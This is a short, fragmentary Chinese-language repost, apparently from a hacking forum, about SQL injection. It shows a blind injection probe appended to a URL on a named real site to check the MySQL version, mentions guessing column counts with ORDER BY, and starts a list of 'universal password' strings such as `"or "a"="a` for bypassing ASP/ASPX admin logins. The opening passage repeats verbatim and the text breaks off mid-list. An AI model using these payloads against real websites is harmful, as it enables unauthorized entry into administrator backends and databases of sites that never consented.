转自老邪

http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询

2.猜解字段数目,用order ......

转自老邪

http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询

2.猜解字段数目,用order ......

所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。

自己也有过收集，别人总结的我又添加了几个

asp aspx万能密码

1："or "a"="a

2： &#......